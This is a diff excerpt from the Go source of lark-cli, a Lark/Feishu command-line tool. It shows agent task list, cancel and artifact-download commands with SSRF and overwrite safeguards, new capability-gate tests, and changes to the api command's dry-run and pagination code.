return capabilityError(opts.Ref, "task list", iagents.CapTaskList)
|
||||
}
|
||||
// Per-capability brand gate: applies only to a wired op.
|
||||
if err := opBrandGate(f, spec.ListTasks.Brands, opts.Ref, "task list"); err != nil {
|
||||
return err
|
||||
}
|
||||
vp, err := validateParams(opts.Params, spec.ListTasks.Params, iagents.VerbTaskList, spec, opts.Ref)
|
||||
if err != nil {
|
||||
return err
|
||||
}
|
||||
rt, err := runtimeFor(f, id, agentID, vp.Resolved)
|
||||
if err != nil {
|
||||
return err
|
||||
}
|
||||
// Local scope preflight: after runtimeFor, before the API call.
|
||||
if err := preflightScopesForRef(f, id, opts.Ref); err != nil {
|
||||
return err
|
||||
}
|
||||
tasks, pageInfo, err := spec.ListTasks.Handler(opts.Cmd.Context(), rt, opts.ContextID,
|
||||
iagents.PageParams{Token: opts.PageToken, Size: opts.PageSize})
|
||||
if err != nil {
|
||||
return err
|
||||
}
|
||||
tasks = normalizeTaskSummaries(tasks)
|
||||
// Ordering is the provider's contract (most-recent-first), consistent across
|
||||
// and within pages — the CLI does not re-sort a page.
|
||||
if tasks == nil {
|
||||
tasks = []iagents.TaskSummary{} // always emit [] not null (matches the Card.Parameters array convention)
|
||||
}
|
||||
return scanAndEmitData(f, opts.Cmd, opts.Format,
|
||||
map[string]interface{}{"tasks": tasks},
|
||||
listMetaPage(len(tasks), pageInfo, taskListNext(opts, f, pageInfo)),
|
||||
func(w io.Writer) { printTaskSummariesTSV(w, tasks) })
|
||||
}
|
||||
|
||||
// taskListNext builds the next-page action for `task list`. The command replays
|
||||
// the caller's ref + optional --context-id with the returned cursor. The ref is
|
||||
// gated by safeNextRef and the context-id by safeNextID (both user-supplied): a
|
||||
// failing value drops the action rather than emitting a command that pages the
|
||||
// wrong (unfiltered) set — the cursor still rides meta.page_token as data.
|
||||
func taskListNext(opts *taskOptions, f *cmdutil.Factory, info iagents.PageInfo) []output.NextAction {
|
||||
if !safeNextRef(opts.Ref) {
|
||||
return nil
|
||||
}
|
||||
if opts.ContextID != "" && !safeNextID(opts.ContextID) {
|
||||
return nil
|
||||
}
|
||||
base := fmt.Sprintf("lark-cli agents task list %s", opts.Ref)
|
||||
if opts.ContextID != "" {
|
||||
base += " --context-id " + opts.ContextID
|
||||
}
|
||||
next := nextPageAction(base, opts.PageSize, info)
|
||||
carryAsIntoNext(opts.Cmd, f, next)
|
||||
return next
|
||||
}
|
||||
|
||||
// agentTaskCancelRun runs `task cancel`. Cancel is capability-gated offline
|
||||
// (right after resolveSpec, before the client is built): a spec that does not
|
||||
// wire CancelTask (card task_cancel=false, e.g. example:echo) returns
|
||||
// unsupported_capability without any API access. Only a supporting spec reaches
|
||||
// runtimeFor + CancelTask.
|
||||
func agentTaskCancelRun(opts *taskOptions) error {
|
||||
f := opts.Factory
|
||||
_, spec, agentID, id, err := resolveSpec(f, opts.Cmd, opts.Ref, opts.As)
|
||||
if err != nil {
|
||||
return err
|
||||
}
|
||||
// Whole-agent brand gate FIRST (offline): a brand-hidden agent reports
|
||||
// unavailable_for_brand uniformly for every verb — even one it does not wire —
|
||||
// so it must precede the capability nil-gate below.
|
||||
if err := brandGate(f, spec, opts.Ref); err != nil {
|
||||
return err
|
||||
}
|
||||
if spec.CancelTask.Handler == nil {
|
||||
return capabilityError(opts.Ref, "task cancel", iagents.CapTaskCancel)
|
||||
}
|
||||
// Per-capability brand gate: task_cancel's own brand scope — a
|
||||
// wired-but-brand-excluded cancel returns unavailable_for_brand.
|
||||
if err := opBrandGate(f, spec.CancelTask.Brands, opts.Ref, "task cancel"); err != nil {
|
||||
return err
|
||||
}
|
||||
vp, err := validateParams(opts.Params, spec.CancelTask.Params, iagents.VerbTaskCancel, spec, opts.Ref)
|
||||
if err != nil {
|
||||
return err
|
||||
}
|
||||
rt, err := runtimeFor(f, id, agentID, vp.Resolved)
|
||||
if err != nil {
|
||||
return err
|
||||
}
|
||||
// Local scope preflight: after runtimeFor, before the API call. A
|
||||
// task_cancel=false agent never reaches here (gated above); it is wired so a
|
||||
// provider that supports cancel is not silently exempt from the all-or-nothing
|
||||
// scope check.
|
||||
if err := preflightScopesForRef(f, id, opts.Ref); err != nil {
|
||||
return err
|
||||
}
|
||||
if err := spec.CancelTask.Handler(opts.Cmd.Context(), rt, opts.TaskID); err != nil {
|
||||
return err
|
||||
}
|
||||
// pretty is a human view only; a --jq expression implies structured JSON.
|
||||
if opts.Format == "pretty" && jqExpr(opts.Cmd) == "" {
|
||||
fmt.Fprintf(f.IOStreams.Out, "task_id: %s\ncanceled: true\n", kvValue(opts.TaskID))
|
||||
return nil
|
||||
}
|
||||
env := output.Envelope{
|
||||
OK: true,
|
||||
Identity: string(id),
|
||||
Data: map[string]interface{}{"task_id": opts.TaskID, "canceled": true},
|
||||
Notice: output.GetNotice(),
|
||||
}
|
||||
if jq := jqExpr(opts.Cmd); jq != "" {
|
||||
return output.JqFilter(f.IOStreams.Out, env, jq)
|
||||
}
|
||||
output.PrintJson(f.IOStreams.Out, env)
|
||||
return nil
|
||||
}
|
||||
|
||||
// downloadArtifact resolves the artifact descriptor and writes it to opts.Output
|
||||
// under vfs. A URL-type artifact is SSRF-validated and fetched over a
|
||||
// download-hardened client; an inline-bytes artifact is written directly. The
|
||||
// output path is validated with SafeOutputPath (relative, within the CWD)
|
||||
// before any write.
|
||||
func downloadArtifact(opts *taskOptions) error {
|
||||
safePath, err := validate.SafeOutputPath(opts.Output)
|
||||
if err != nil {
|
||||
return errs.NewValidationError(errs.SubtypeInvalidArgument, "非法的 -o 路径: %v", err).
|
||||
WithParam("--output").WithCause(err)
|
||||
}
|
||||
|
||||
// Overwriting a local file destroys its content irreversibly — a high-risk
|
||||
// write. It goes through the same confirmation contract as other --force
|
||||
// gates (config bind): without --force, a would-be overwrite returns
|
||||
// confirmation_required (exit 10) before any download. Lstat (not Stat) so a
|
||||
// symlink at the path counts as existing rather than being followed.
|
||||
if !opts.Force {
|
||||
if _, statErr := vfs.Lstat(safePath); statErr == nil {
|
||||
return errs.NewConfirmationRequiredError(errs.RiskHighRiskWrite, "agents task get --artifact -o",
|
||||
"目标文件已存在,覆盖会不可逆地毁掉本地内容: %s", safePath).
|
||||
WithHint("确认要覆盖后加 --force 重跑,或换一个 -o 路径")
|
||||
}
|
||||
}
|
||||
|
||||
ctx := opts.Cmd.Context()
|
||||
art, err := resolveDownload(opts)
|
||||
if err != nil {
|
||||
return err
|
||||
}
|
||||
// A provider decoding an empty "data" via Call[*ArtifactData] can return
|
||||
// (nil, nil); and a non-nil descriptor with neither inline bytes nor a URL
|
||||
// carries no downloadable content. Both are provider-response defects — fail
|
||||
// with a typed error instead of dereferencing nil or writing a 0-byte file
|
||||
// (which under --force would clobber an existing local file with emptiness).
|
||||
if art == nil {
|
||||
return errs.NewInternalError(errs.SubtypeInvalidResponse,
|
||||
"provider 未返回产物数据(响应无 data)")
|
||||
}
|
||||
if len(art.Bytes) == 0 && art.URL == "" {
|
||||
return errs.NewInternalError(errs.SubtypeInvalidResponse,
|
||||
"产物 '%s' 无可下载内容(provider 既未提供内联字节也未提供下载 URL)", opts.ArtifactID)
|
||||
}
|
||||
|
||||
data := art.Bytes
|
||||
if art.URL != "" {
|
||||
data, err = artifactFetch(ctx, opts.Factory, art.URL)
|
||||
if err != nil {
|
||||
return err
|
||||
}
|
||||
}
|
||||
|
||||
if err := vfs.WriteFile(safePath, data, 0o600); err != nil {
|
||||
return errs.NewInternalError(errs.SubtypeFileIO, "写产物到 %s 失败: %v", safePath, err).WithCause(err)
|
||||
}
|
||||
|
||||
f := opts.Factory
|
||||
// pretty is a human view only; a --jq expression implies structured JSON.
|
||||
if opts.Format == "pretty" && jqExpr(opts.Cmd) == "" {
|
||||
out := f.IOStreams.Out
|
||||
fmt.Fprintf(out, "artifact_id: %s\n", kvValue(opts.ArtifactID))
|
||||
fmt.Fprintf(out, "path: %s\n", safePath)
|
||||
fmt.Fprintf(out, "bytes: %d\n", len(data))
|
||||
if art.Mime != "" {
|
||||
fmt.Fprintf(out, "mime: %s\n", kvValue(art.Mime))
|
||||
}
|
||||
// suggested_name is the server-suggested name, for reference only; the
|
||||
// actual on-disk path is already the safePath (-o) above.
|
||||
if art.Name != "" {
|
||||
fmt.Fprintf(out, "suggested_name: %s\n", kvValue(art.Name))
|
||||
}
|
||||
return nil
|
||||
}
|
||||
env := output.Envelope{
|
||||
OK: true,
|
||||
Identity: string(f.ResolvedIdentity),
|
||||
Data: map[string]interface{}{
|
||||
"artifact_id": opts.ArtifactID,
|
||||
"path": safePath,
|
||||
"bytes": len(data),
|
||||
"mime": art.Mime,
|
||||
"suggested_name": art.Name,
|
||||
},
|
||||
Notice: output.GetNotice(),
|
||||
}
|
||||
if jq := jqExpr(opts.Cmd); jq != "" {
|
||||
return output.JqFilter(f.IOStreams.Out, env, jq)
|
||||
}
|
||||
output.PrintJson(f.IOStreams.Out, env)
|
||||
return nil
|
||||
}
|
||||
|
||||
// fetchArtifactURL is the production URL fetch: it SSRF-validates rawURL, builds
|
||||
// a download-hardened HTTP client from the Factory and reads the body up to
|
||||
// maxArtifactBytes, refusing anything larger. The artifact host is untrusted
|
||||
// external content, so both the URL and the redirect chain are guarded.
|
||||
func fetchArtifactURL(ctx context.Context, f *cmdutil.Factory, rawURL string) ([]byte, error) {
|
||||
if err := validate.ValidateDownloadSourceURL(ctx, rawURL); err != nil {
|
||||
return nil, errs.NewValidationError(errs.SubtypeInvalidArgument, "被拦截的产物 URL: %v", err).
|
||||
WithCause(err)
|
||||
}
|
||||
// Artifact bytes come from an untrusted host over the network; require https
|
||||
// so the payload cannot be read or tampered with in transit. The SSRF check
|
||||
// above already rejects private/loopback hosts and non-http(s) schemes, so a
|
||||
// surviving non-https URL is plain-text http.
|
||||
if !strings.HasPrefix(strings.ToLower(rawURL), "https://") {
|
||||
return nil, errs.NewValidationError(errs.SubtypeInvalidArgument, "产物 URL 必须为 https(拒绝明文下载)")
|
||||
}
|
||||
base, err := f.HttpClient()
|
||||
if err != nil {
|
||||
return nil, errs.NewInternalError(errs.SubtypeSDKError, "构造 http client 失败: %v", err).WithCause(err)
|
||||
}
|
||||
client := hardenDownloadClient(base)
|
||||
|
||||
req, err := http.NewRequestWithContext(ctx, http.MethodGet, rawURL, nil)
|
||||
if err != nil {
|
||||
return nil, errs.NewValidationError(errs.SubtypeInvalidArgument, "非法的产物 URL: %v", err).WithCause(err)
|
||||
}
|
||||
resp, err := client.Do(req)
|
||||
if err != nil {
|
||||
return nil, errs.NewNetworkError(errs.SubtypeNetworkTransport, "下载产物失败: %v", err).WithCause(err)
|
||||
}
|
||||
defer resp.Body.Close()
|
||||
if resp.StatusCode != http.StatusOK {
|
||||
return nil, errs.NewNetworkError(errs.SubtypeNetworkServer, "下载产物失败: HTTP %d", resp.StatusCode)
|
||||
}
|
||||
// Read ONE byte past the cap so an oversized body is detected rather than
|
||||
// silently truncated: io.LimitReader returns EOF (not an error) at the cap, so
|
||||
// reading exactly maxArtifactBytes cannot distinguish "fits" from "overflowed".
|
||||
// A body over the cap is refused with a typed error instead of writing a
|
||||
// corrupt, partial file that would otherwise report success.
|
||||
data, err := io.ReadAll(io.LimitReader(resp.Body, maxArtifactBytes+1))
|
||||
if err != nil {
|
||||
return nil, errs.NewNetworkError(errs.SubtypeNetworkTransport, "读取产物响应失败: %v", err).WithCause(err)
|
||||
}
|
||||
if int64(len(data)) > maxArtifactBytes {
|
||||
return nil, errs.NewValidationError(errs.SubtypeInvalidArgument,
|
||||
"产物超过大小上限 %d 字节,拒绝下载(避免写入被截断的残缺文件)", int64(maxArtifactBytes))
|
||||
}
|
||||
return data, nil
|
||||
}
|
||||
1255
cmd/agents/task_test.go
Normal file
1255
cmd/agents/task_test.go
Normal file
File diff suppressed because it is too large
Load Diff
203
cmd/agents/unsupported_test.go
Normal file
203
cmd/agents/unsupported_test.go
Normal file
@@ -0,0 +1,203 @@
|
||||
// Copyright (c) 2026 Lark Technologies Pte. Ltd.
|
||||
// SPDX-License-Identifier: MIT
|
||||
|
||||
package agents
|
||||
|
||||
import (
|
||||
"context"
|
||||
"encoding/json"
|
||||
"strings"
|
||||
"sync"
|
||||
"testing"
|
||||
|
||||
"github.com/larksuite/cli/errs"
|
||||
iagents "github.com/larksuite/cli/internal/agents"
|
||||
"github.com/larksuite/cli/internal/cmdutil"
|
||||
"github.com/larksuite/cli/internal/core"
|
||||
"github.com/larksuite/cli/internal/output"
|
||||
)
|
||||
|
||||
// fakeUnsupSpec is a stub instance spec driving the command-layer
|
||||
// capability-gate wirings without any HTTP: ListContexts / DeleteContext are
|
||||
// left UNWIRED (nil), so the command layer's nil-gate must return the typed
|
||||
// unsupported_capability before any network access. GetTask is wired to return a
|
||||
// task whose IsTerminal deliberately mismatches its State (normalizeTask must
|
||||
// re-derive it). Send is wired (core, required by Register) but never called
|
||||
// here. There is no capability-refusal code in the spec — "unsupported" is
|
||||
// expressed purely by the absent hooks.
|
||||
func fakeUnsupSpec() *iagents.AgentSpec {
|
||||
return &iagents.AgentSpec{
|
||||
Send: iagents.SendOp{Handler: func(context.Context, iagents.Runtime, iagents.SendInput) (*iagents.AgentTask, error) {
|
||||
panic("unsup provider: Send should not be called")
|
||||
}},
|
||||
GetTask: iagents.TaskGetOp{Handler: func(_ context.Context, _ iagents.Runtime, taskID string) (*iagents.AgentTask, error) {
|
||||
// Deliberate mismatch: State is terminal but IsTerminal=false.
|
||||
return &iagents.AgentTask{TaskID: taskID, State: iagents.StateCompleted, IsTerminal: false}, nil
|
||||
}},
|
||||
// ListContexts / DeleteContext intentionally unwired ⇒ unsupported.
|
||||
}
|
||||
}
|
||||
|
||||
// registerFakeUnsup registers the fakeunsup scheme exactly once (Register
|
||||
// panics on duplicates). Like the other fakes it leaks into the package-level
|
||||
// registry for the remaining tests of this package run.
|
||||
var registerFakeUnsupOnce sync.Once
|
||||
|
||||
func registerFakeUnsup() {
|
||||
registerFakeUnsupOnce.Do(func() {
|
||||
iagents.Register(iagents.Provider{
|
||||
Scheme: "fakeunsup",
|
||||
Label: "test fake (unwired optional capabilities)",
|
||||
AgentIDSource: "test only",
|
||||
Identities: []iagents.IdentitySpec{{Type: iagents.IdentityUser}, {Type: iagents.IdentityBot}},
|
||||
Instance: fakeUnsupSpec(),
|
||||
})
|
||||
})
|
||||
}
|
||||
|
||||
// assertUnsupportedCapability pins the full capability-gate contract on err:
|
||||
// validation typed, subtype unsupported_capability, exit 2, hint pointing at
|
||||
// `agents card <ref>`, and — because the Factory's httpmock registry has zero
|
||||
// stubs — no HTTP was issued (any network attempt would have surfaced as an
|
||||
// "httpmock: no stub" error instead of the typed one).
|
||||
func assertUnsupportedCapability(t *testing.T, err error, ref string) {
|
||||
t.Helper()
|
||||
if err == nil {
|
||||
t.Fatal("an unsupported capability should error")
|
||||
}
|
||||
if !errs.IsValidation(err) {
|
||||
t.Fatalf("want validation error, got %T (%v)", err, err)
|
||||
}
|
||||
if code := output.ExitCodeOf(err); code != output.ExitValidation {
|
||||
t.Fatalf("exit code should be %d, got %d", output.ExitValidation, code)
|
||||
}
|
||||
p, ok := errs.ProblemOf(err)
|
||||
if !ok || p.Subtype != errs.SubtypeUnsupportedCapability {
|
||||
t.Fatalf("subtype should be unsupported_capability, got %+v", p)
|
||||
}
|
||||
if !strings.Contains(p.Hint, "agents card "+ref) {
|
||||
t.Errorf("hint should point to agents card %s, got %q", ref, p.Hint)
|
||||
}
|
||||
if strings.Contains(err.Error(), "httpmock") {
|
||||
t.Errorf("should not issue any HTTP request, but the error contains httpmock traces: %v", err)
|
||||
}
|
||||
}
|
||||
|
||||
// TestContextListUnsupportedGated pins the capability gate on `context list`: a
|
||||
// provider that does not wire ListContexts returns typed unsupported_capability
|
||||
// (exit 2) with the agent-card hint, without any HTTP.
|
||||
func TestContextListUnsupportedGated(t *testing.T) {
|
||||
registerFakeUnsup()
|
||||
f, _, _, _ := cmdutil.TestFactory(t, &core.CliConfig{AppID: "cli_x", AppSecret: "fake-secret", Brand: core.BrandFeishu})
|
||||
opts := &contextOptions{
|
||||
Factory: f, Cmd: contextCmdCtx(t, "list"), Ref: "fakeunsup:a1", As: "bot", Format: "json",
|
||||
}
|
||||
assertUnsupportedCapability(t, agentContextListRun(opts), "fakeunsup:a1")
|
||||
}
|
||||
|
||||
// TestContextDeleteUnsupportedGated pins the same gate on the confirmed
|
||||
// `context delete` path (--yes passes, provider does not wire DeleteContext).
|
||||
func TestContextDeleteUnsupportedGated(t *testing.T) {
|
||||
registerFakeUnsup()
|
||||
f, _, _, _ := cmdutil.TestFactory(t, &core.CliConfig{AppID: "cli_x", AppSecret: "fake-secret", Brand: core.BrandFeishu})
|
||||
opts := &contextOptions{
|
||||
Factory: f, Cmd: contextCmdCtx(t, "delete"), Ref: "fakeunsup:a1", CtxID: "c1", Yes: true, As: "bot", Format: "json",
|
||||
}
|
||||
assertUnsupportedCapability(t, agentContextDeleteRun(opts), "fakeunsup:a1")
|
||||
}
|
||||
|
||||
// unsupFactory is a small helper for the capability-gate tests.
|
||||
func unsupFactory(t *testing.T) *cmdutil.Factory {
|
||||
t.Helper()
|
||||
registerFakeUnsup()
|
||||
f, _, _, _ := cmdutil.TestFactory(t, &core.CliConfig{AppID: "cli_x", AppSecret: "fake-secret", Brand: core.BrandFeishu})
|
||||
return f
|
||||
}
|
||||
|
||||
// TestTaskListUnsupportedGated pins the task_list gate: fakeunsup does not wire
|
||||
// ListTasks, so `task list` returns unsupported_capability (exit 2) with no HTTP.
|
||||
func TestTaskListUnsupportedGated(t *testing.T) {
|
||||
f := unsupFactory(t)
|
||||
opts := &taskOptions{Factory: f, Cmd: taskCmdCtx(t, "list"), Ref: "fakeunsup:a1", As: "bot", Format: "json"}
|
||||
assertUnsupportedCapability(t, agentTaskListRun(opts), "fakeunsup:a1")
|
||||
}
|
||||
|
||||
// TestContextGetUnsupportedGated pins the context_get gate (GetContext unwired).
|
||||
func TestContextGetUnsupportedGated(t *testing.T) {
|
||||
f := unsupFactory(t)
|
||||
opts := &contextOptions{Factory: f, Cmd: contextCmdCtx(t, "get"), Ref: "fakeunsup:a1", CtxID: "c1", As: "bot", Format: "json"}
|
||||
assertUnsupportedCapability(t, agentContextGetRun(opts), "fakeunsup:a1")
|
||||
}
|
||||
|
||||
// TestArtifactDownloadUnsupportedGated pins the artifact_download gate: fakeunsup
|
||||
// does not wire DownloadArtifact, so `task get --artifact` returns
|
||||
// unsupported_capability (exit 2) before any download.
|
||||
func TestArtifactDownloadUnsupportedGated(t *testing.T) {
|
||||
f := unsupFactory(t)
|
||||
opts := &taskOptions{
|
||||
Factory: f, Cmd: taskCmdCtx(t, "get"), Ref: "fakeunsup:a1", TaskID: "t1",
|
||||
ArtifactID: "art_1", Output: "out_unsup.bin", As: "bot", Format: "json",
|
||||
}
|
||||
assertUnsupportedCapability(t, agentTaskGetRun(opts), "fakeunsup:a1")
|
||||
}
|
||||
|
||||
// TestSendFileUnsupportedGated pins the --file capability gate: example:echo
|
||||
// declares file_input=false, so `send --file` returns unsupported_capability
|
||||
// (exit 2) — this gate answers BEFORE the --yes confirmation and before any
|
||||
// network, so no file is opened and no request is issued.
|
||||
func TestSendFileUnsupportedGated(t *testing.T) {
|
||||
mkSendFile(t, "whatever.txt")
|
||||
f, _, _, _ := cmdutil.TestFactory(t, &core.CliConfig{AppID: "cli_x", AppSecret: "fake-secret", Brand: core.BrandFeishu})
|
||||
err := agentSendRun(&sendOptions{
|
||||
Factory: f, Cmd: sendCmdCtx(t), Ref: "example:echo", Text: "hi",
|
||||
Files: []string{"whatever.txt"}, As: "bot", Format: "json",
|
||||
})
|
||||
assertUnsupportedCapability(t, err, "example:echo")
|
||||
}
|
||||
|
||||
// TestTaskGetDerivesIsTerminalFromState pins the normalizeTask wiring: a
|
||||
// provider returning a State/IsTerminal-mismatched task (completed +
|
||||
// is_terminal=false) must emit is_terminal=true — the command layer derives
|
||||
// the flag from State, the single source of truth.
|
||||
func TestTaskGetDerivesIsTerminalFromState(t *testing.T) {
|
||||
registerFakeUnsup()
|
||||
f, _, _, _ := cmdutil.TestFactory(t, &core.CliConfig{AppID: "cli_x", AppSecret: "fake-secret", Brand: core.BrandFeishu})
|
||||
opts := &taskOptions{
|
||||
Factory: f, Cmd: taskCmdCtx(t, "get"), Ref: "fakeunsup:a1", TaskID: "t1", As: "bot", Format: "json",
|
||||
}
|
||||
out := f.IOStreams.Out.(interface{ Bytes() []byte })
|
||||
|
||||
if err := agentTaskGetRun(opts); err != nil {
|
||||
t.Fatalf("task get should not error: %v", err)
|
||||
}
|
||||
var env output.Envelope
|
||||
if err := json.Unmarshal(out.Bytes(), &env); err != nil {
|
||||
t.Fatalf("output should be valid envelope JSON: %v (%s)", err, string(out.Bytes()))
|
||||
}
|
||||
data, _ := env.Data.(map[string]interface{})
|
||||
if data["state"] != "completed" {
|
||||
t.Fatalf("data.state should be completed, got %v", data["state"])
|
||||
}
|
||||
if data["is_terminal"] != true {
|
||||
t.Errorf("is_terminal should be derived from State as true (correcting a provider that set false), got %v", data["is_terminal"])
|
||||
}
|
||||
}
|
||||
|
||||
// TestNormalizeTaskSummaries_DerivesFromState pins the summary-side derivation
|
||||
// (task list runs its summaries through this helper; context get derives the
|
||||
// single active_task's flag inline the same way).
|
||||
func TestNormalizeTaskSummaries_DerivesFromState(t *testing.T) {
|
||||
ts := normalizeTaskSummaries([]iagents.TaskSummary{
|
||||
{TaskID: "t1", State: iagents.StateCompleted, IsTerminal: false}, // missing
|
||||
{TaskID: "t2", State: iagents.StateWorking, IsTerminal: true}, // wrong
|
||||
})
|
||||
if !ts[0].IsTerminal {
|
||||
t.Error("completed summary should derive is_terminal=true")
|
||||
}
|
||||
if ts[1].IsTerminal {
|
||||
t.Error("working summary should derive is_terminal=false")
|
||||
}
|
||||
if normalizeTask(nil) != "" {
|
||||
t.Error("normalizeTask(nil) should be nil-safe")
|
||||
}
|
||||
}
|
||||
@@ -130,13 +130,6 @@ func buildAPIRequest(opts *APIOptions) (client.RawApiRequest, *cmdutil.FileUploa
|
||||
stdin := opts.Factory.IOStreams.In
|
||||
fileIO := opts.Factory.ResolveFileIO(opts.Ctx)
|
||||
|
||||
if opts.Method == "" {
|
||||
return client.RawApiRequest{}, nil, errs.NewValidationError(errs.SubtypeInvalidArgument,
|
||||
"HTTP method must not be empty").
|
||||
WithHint("pass the verb as the first argument, e.g. lark-cli api GET /open-apis/...").
|
||||
WithParam("<method>")
|
||||
}
|
||||
|
||||
// Validate --file mutual exclusions first.
|
||||
if err := cmdutil.ValidateFileFlag(opts.File, opts.Params, opts.Data, opts.Output, opts.PageAll, opts.Method); err != nil {
|
||||
return client.RawApiRequest{}, nil, err
|
||||
@@ -250,9 +243,9 @@ func apiRun(opts *APIOptions) error {
|
||||
|
||||
if opts.DryRun {
|
||||
if fileMeta != nil {
|
||||
return cmdutil.PrintDryRunWithFile(request, config, dryRunOutputOptions(f, opts), *fileMeta)
|
||||
return cmdutil.PrintDryRunWithFile(f.IOStreams.Out, request, config, opts.Format, fileMeta.FieldName, fileMeta.FilePath, fileMeta.FormFields)
|
||||
}
|
||||
return apiDryRun(f, request, config, opts)
|
||||
return apiDryRun(f, request, config, opts.Format)
|
||||
}
|
||||
// Identity info is now included in the JSON envelope; skip stderr printing.
|
||||
// cmdutil.PrintIdentity(f.IOStreams.ErrOut, opts.As, config, f.IdentityAutoDetected)
|
||||
@@ -304,19 +297,8 @@ func apiRun(opts *APIOptions) error {
|
||||
return nil
|
||||
}
|
||||
|
||||
func apiDryRun(f *cmdutil.Factory, request client.RawApiRequest, config *core.CliConfig, opts *APIOptions) error {
|
||||
return cmdutil.PrintDryRun(request, config, dryRunOutputOptions(f, opts))
|
||||
}
|
||||
|
||||
func dryRunOutputOptions(f *cmdutil.Factory, opts *APIOptions) cmdutil.DryRunOutputOptions {
|
||||
return cmdutil.DryRunOutputOptions{
|
||||
Format: opts.Format,
|
||||
JqExpr: opts.JqExpr,
|
||||
CommandPath: opts.Cmd.CommandPath(),
|
||||
Identity: opts.As,
|
||||
Out: f.IOStreams.Out,
|
||||
ErrOut: f.IOStreams.ErrOut,
|
||||
}
|
||||
func apiDryRun(f *cmdutil.Factory, request client.RawApiRequest, config *core.CliConfig, format string) error {
|
||||
return cmdutil.PrintDryRun(f.IOStreams.Out, request, config, format)
|
||||
}
|
||||
|
||||
func apiPaginate(ctx context.Context, ac *client.APIClient, request client.RawApiRequest, format output.Format, jqExpr string, out, errOut io.Writer, commandPath string, pagOpts client.PaginationOptions) error {
|
||||
@@ -344,18 +326,20 @@ func apiPaginate(ctx context.Context, ac *client.APIClient, request client.RawAp
|
||||
|
||||
switch format {
|
||||
case output.FormatNDJSON, output.FormatTable, output.FormatCSV:
|
||||
emitter := output.NewEmitter(output.EmitterConfig{
|
||||
Out: out,
|
||||
ErrOut: errOut,
|
||||
CommandPath: commandPath,
|
||||
Identity: string(pagOpts.Identity),
|
||||
NoticeProvider: output.GetNotice,
|
||||
})
|
||||
pf := output.NewPaginatedFormatter(out, format)
|
||||
result, hasItems, err := ac.StreamPages(ctx, request, func(items []interface{}) error {
|
||||
// Streaming formats intentionally emit each page after that page has
|
||||
// passed safety scanning. A later page may still fail, so callers
|
||||
// must use the exit code to distinguish complete vs partial output.
|
||||
return emitter.StreamPage(items, output.StreamOptions{Format: format.String()})
|
||||
scanResult := output.ScanForSafety(commandPath, items, errOut)
|
||||
if scanResult.Blocked {
|
||||
return scanResult.BlockErr
|
||||
}
|
||||
if scanResult.Alert != nil {
|
||||
output.WriteAlertWarning(errOut, scanResult.Alert)
|
||||
}
|
||||
pf.FormatPage(items)
|
||||
return nil
|
||||
}, pagOpts)
|
||||
if err != nil {
|
||||
return errs.MarkRaw(err)
|
||||
|
||||
@@ -1,396 +0,0 @@
|
||||
// Copyright (c) 2026 Lark Technologies Pte. Ltd.
|
||||
// SPDX-License-Identifier: MIT
|
||||
|
||||
package api
|
||||
|
||||
import (
|
||||
"bytes"
|
||||
"context"
|
||||
"encoding/json"
|
||||
"errors"
|
||||
"fmt"
|
||||
"io"
|
||||
"net/http"
|
||||
"testing"
|
||||
|
||||
"github.com/larksuite/cli/errs"
|
||||
"github.com/larksuite/cli/internal/client"
|
||||
"github.com/larksuite/cli/internal/cmdutil"
|
||||
"github.com/larksuite/cli/internal/core"
|
||||
"github.com/larksuite/cli/internal/httpmock"
|
||||
"github.com/larksuite/cli/internal/output"
|
||||
)
|
||||
|
||||
type apiFailOnWriteWriter struct {
|
||||
buf bytes.Buffer
|
||||
writes int
|
||||
failAt int
|
||||
err error
|
||||
}
|
||||
|
||||
func (w *apiFailOnWriteWriter) Write(p []byte) (int, error) {
|
||||
w.writes++
|
||||
if w.writes == w.failAt {
|
||||
return 0, w.err
|
||||
}
|
||||
return w.buf.Write(p)
|
||||
}
|
||||
|
||||
func newAPIPaginateTestHarness(t *testing.T) (*client.APIClient, *bytes.Buffer, *bytes.Buffer, *httpmock.Registry) {
|
||||
t.Helper()
|
||||
t.Setenv("LARKSUITE_CLI_CONFIG_DIR", t.TempDir())
|
||||
t.Setenv("LARKSUITE_CLI_CONTENT_SAFETY_MODE", "off")
|
||||
previousNotice := output.PendingNotice
|
||||
output.PendingNotice = nil
|
||||
t.Cleanup(func() { output.PendingNotice = previousNotice })
|
||||
|
||||
config := &core.CliConfig{
|
||||
AppID: "test-app",
|
||||
AppSecret: "test-secret",
|
||||
Brand: core.BrandFeishu,
|
||||
}
|
||||
f, out, errOut, reg := cmdutil.TestFactory(t, config)
|
||||
ac, err := f.NewAPIClientWithConfig(config)
|
||||
if err != nil {
|
||||
t.Fatalf("NewAPIClientWithConfig() error = %v", err)
|
||||
}
|
||||
ac.ErrOut = io.Discard
|
||||
return ac, out, errOut, reg
|
||||
}
|
||||
|
||||
func apiPaginateRequest() client.RawApiRequest {
|
||||
return client.RawApiRequest{
|
||||
Method: "GET",
|
||||
URL: "/open-apis/test/v1/items",
|
||||
As: core.AsBot,
|
||||
}
|
||||
}
|
||||
|
||||
func assertAPIPaginateJSONBytes(t *testing.T, got []byte, want interface{}) {
|
||||
t.Helper()
|
||||
wantBytes, err := json.MarshalIndent(want, "", " ")
|
||||
if err != nil {
|
||||
t.Fatalf("marshal expected JSON: %v", err)
|
||||
}
|
||||
wantBytes = append(wantBytes, '\n')
|
||||
if !bytes.Equal(got, wantBytes) {
|
||||
t.Fatalf("stdout bytes mismatch\ngot:\n%s\nwant:\n%s", got, wantBytes)
|
||||
}
|
||||
}
|
||||
|
||||
func TestAPIPaginate_DefaultAggregatesAllPages(t *testing.T) {
|
||||
ac, out, errOut, reg := newAPIPaginateTestHarness(t)
|
||||
calls := 0
|
||||
wantTokens := []string{"", "next-1", "next-2"}
|
||||
for i, wantToken := range wantTokens {
|
||||
page := i + 1
|
||||
hasMore := page < len(wantTokens)
|
||||
data := map[string]interface{}{
|
||||
"items": []interface{}{map[string]interface{}{"id": string(rune('0' + page))}},
|
||||
"has_more": hasMore,
|
||||
}
|
||||
if hasMore {
|
||||
data["page_token"] = wantTokens[page]
|
||||
}
|
||||
reg.Register(&httpmock.Stub{
|
||||
URL: "/open-apis/test/v1/items",
|
||||
OnMatch: func(req *http.Request) {
|
||||
calls++
|
||||
if got := req.URL.Query().Get("page_token"); got != wantToken {
|
||||
t.Errorf("request %d page_token = %q, want %q", page, got, wantToken)
|
||||
}
|
||||
},
|
||||
Body: map[string]interface{}{
|
||||
"code": 0,
|
||||
"msg": "ok",
|
||||
"data": data,
|
||||
},
|
||||
})
|
||||
}
|
||||
|
||||
err := apiPaginate(context.Background(), ac, apiPaginateRequest(),
|
||||
